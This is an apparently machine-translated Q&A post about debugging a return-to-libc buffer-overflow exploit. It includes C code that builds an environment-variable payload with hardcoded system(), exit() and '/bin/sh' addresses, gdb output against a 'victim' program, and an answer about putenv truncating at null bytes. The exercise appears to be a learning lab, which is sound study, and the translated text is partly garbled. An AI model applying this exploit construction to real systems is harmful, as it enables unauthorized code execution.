我正在使用ubuntu 14.04。所以我有最新的内核。 我正在尝试返回libc方法。
这是我创建环境变量的代码,稍后将输入到受害者代码
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#define BUFFER_SIZE 104
#define NOP 0x90
char systemAddr[] = "\xb0\xe3\xe4\xf7";
char exitAddr[] = "\x00\x14\xe4\xf7";
char bashAddr[] = "\xcc\xd9\xe9\xff";
int main()
{
char *buf;
int bsize = BUFFER_SIZE;
if(!(buf = (char *)malloc(bsize)))
{
printf("can't allocate memory!");
exit(0);
}
memset(buf, NOP, 104);
memcpy(buf, "BUF=", 4);
memcpy(buf + 88, systemAddr, 4 );
memcpy(buf + 92, "\x00\x14\xe4\xf7" , 4); //memcpy(buf + 92, exitAddr, 4);
memcpy(buf + 96, bashAddr, 4);
memcpy(buf + 100, "\x00\x00\x00\x00", 4);
printf("%s \n", buf);
putenv(buf);
system("/bin/bash");
return 0;
}
问题出在这一行,
memcpy(buf + 92,“\ x00 \ x14 \ xe4 \ xf7”,4); // memcpy(buf + 92,exitAddr,4);
在我给地址一个空(\ x00)之后,当我检查$ BUF时,在buf + 92'位置看到一些不同的值。 所有复制成功完成最多88字节。但我没有将exitAddr复制到第92-95字节。 我认为这是因为开始“\ x00”。如果我尝试“(如果我给\ xaa \ xaa \ xaa \ xaa它工作正常)。”它工作正常!
我正在给我程序的gdb输出
(gdb) run
Starting program: /home/Stack Overflow/From tube/Ret2Libc
Breakpoint 1, main () at Ret2Libc.c:40
40 memcpy(buf + 100, "\x00\x00\x00\x00", 4);
(gdb) x/1s buf
0xffffcf1c: "BUF=", '\220' <repeats 84 times>, "\260\343\344", <incomplete sequence \367>
(gdb) x/4xw buf+88
0xffffcf74: 0xf7e4e3b0 0xf7e41400 0xffe9d9cc 0x90909090
(gdb) s
Breakpoint 2, main () at Ret2Libc.c:43
43 putenv(buf);
(gdb) x/4xw buf+88
0xffffcf74: 0xf7e4e3b0 0xf7e41400 0xffe9d9cc 0x000000
(gdb) s
Breakpoint 3, main () at Ret2Libc.c:44
44 system("/bin/sh");
(gdb) x/4xw buf+88
0xffffcf74: 0xf7e4e3b0 0xf7e41400 0xffe9d9cc 0x000000
(gdb) s
$ $BUF
/bin/sh: 1: ����������������������������������������������������������������������������������������: not found
$ exit
Breakpoint 4, main () at Ret2Libc.c:47
47 return 0;
(gdb) x/4xw buf+88
0xffffcf74: 0xf7e4e3b0 0xf7e41400 0xffe9d9cc 0x000000
(gdb) s
48 }
(gdb) x/4xw buf+88
0xffffcf74: 0xf7e4e3b0 0xf7e41400 0xffe9d9cc 0x000000
(gdb) c
Continuing.
[Inferior 1 (process 4808) exited normally]
(gdb)
您注意到了吗? “buf变量具有真正的价值直到最后”。
现在,当我执行受害者代码时,
$ gcc -ggdb -m32 -fno-stack-protector -mpreferred-stack-boundary=2 -z execstack -o Ret2Libc Ret2Libc.c
Notebook-PC:$ ./Ret2Libc
$ $BUF
/bin/sh: 1: ����������������������������������������������������������������������������������������: not found
$ gdb ./victim
Reading symbols from ./victim...done.
(gdb) b 12
Breakpoint 1 at 0x804848e: file victim.c, line 12.
(gdb) run $BUF
Starting program: /home/mj/victim $BUF
aa
Breakpoint 1, main (argc=2, argv=0xffffcf24) at victim.c:12
12 strcpy(array, argv[1] );
(gdb) x/8xw argv[1]
0xffffd156: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd166: 0x90909090 0x90909090 0x90909090 0x90909090
(gdb) x/8xw argv[1]+88
0xffffd1ae: 0x47445800 0x4e54565f 0x00373d52 0x5f474458
0xffffd1be: 0x53534553 0x5f4e4f49 0x633d4449 0x53530032
(gdb) x/8xw argv[1]+84
0xffffd1aa: 0xf7e4e3b0 0x47445800 0x4e54565f 0x00373d52
0xffffd1ba: 0x5f474458 0x53534553 0x5f4e4f49 0x633d4449
在这里我们可以看到来自argv 1 + 88的数据被更改了。怎么样?是因为exitAddr中的“\ x00”?我怎么能克服这个?
答案 0 :(得分:0)
正如@mafso指出的那样,putenv(buf)
需要一个字符串。在C中,字符串是char
的数组,包括终止'\0'
。
因此,当buf = "BUF=...\x00\x14\xe4\xf7"; putenv(buf);
时,就好像编码buf = "BUF=...";
一样。
不是将0x0014e4f7
的所需地址编码为4 char
,而是建议将地址编码为8个十六进制字符buf = "BUF=...0014e4f7";
当然,解码地址需要考虑新格式。< / p>